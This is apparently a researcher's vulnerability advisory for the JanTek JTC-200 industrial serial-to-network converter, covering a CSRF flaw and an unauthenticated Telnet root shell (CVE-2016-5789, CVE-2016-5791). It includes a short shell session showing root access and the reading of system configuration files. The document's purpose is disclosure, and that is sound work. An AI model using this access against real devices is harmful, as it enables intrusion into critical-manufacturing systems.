Vendor: JanTek
Equipment: JTC-200
Vulnerabilities: Cross-site Request Forgery, Improper Authentication

Advisory URL:
https://ipositivesecurity.com/2017/10/28/ics-jantek-jtc-200-rs232-net-converter-advisory-published/

ICS-CERT Advisory
https://ics-cert.us-cert.gov/advisories/ICSA-17-283-02

CVE-ID
CVE-2016-5789
CVE-2016-5791

Detailed Proof of Concept:
https://ipositivesecurity.com/2016/07/05/rs232-net-converter-model-jtc-200-multiple-vulnerabilities/

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AFFECTED PRODUCTS
------------------------

The following versions of JTC-200, a TCP/IP converter, are affected:
JTC-200 all versions.

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BACKGROUND
------------------------
Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Europe and Asia
Company Headquarters Location: Taiwan


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IMPACT
------------------------
Successful exploitation of these vulnerabilities allow for remote code
execution on the device with elevated privileges.

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VULNERABILITY OVERVIEW
------------------------

CROSS-SITE REQUEST FORGERY (CSRF) CWE-352
An attacker could perform actions with the same permissions as a victim
user, provided the victim has an active session and is induced to trigger
the malicious request.

CVE-2016-5789 has been assigned to this vulnerability. A CVSS v3 base score
of 8.0 has been assigned; the CVSS vector string is
(AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

IMPROPER AUTHENTICATION CWE-287
The improper authentication could provide undocumented Busybox Linux shell
accessible over Telnet service without any authentication.

CVE-2016-5791 has been assigned to this vulnerability. A CVSS v3 base score
of 9.8 has been assigned; the CVSS vector string is
(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---------
Trying IP...
Connected to IP.
Escape character is '^]'.
BusyBox v0.60.4 (2008.02.21-16:59+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
BusyBox v0.60.4 (2008.02.21-16:59+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix  utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as.
Currently defined functions:
[, busybox, cat, cp, df, hostname, ifconfig, init, kill, killall, ls, mkdir, mknod, mount, msh, mv, ping, ps, pwd, rm, sh, test, touch, vi
#
# ls
bin dev etc nfs proc swap usb var
# cd etc
# ls
ConfigPage WRConfig.ini config inetd.conf inittab ppp protocols rc resolv.conf services
# cat inetd.conf
telnet stream tcpnowait root /bin/telnetd
#
---------

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Technical Details
------------------------
https://ipositivesecurity.com/2016/07/05/rs232-net-converter-model-jtc-200-multiple-vulnerabilities/

+++++
Best Regards,
Karn Ganeshen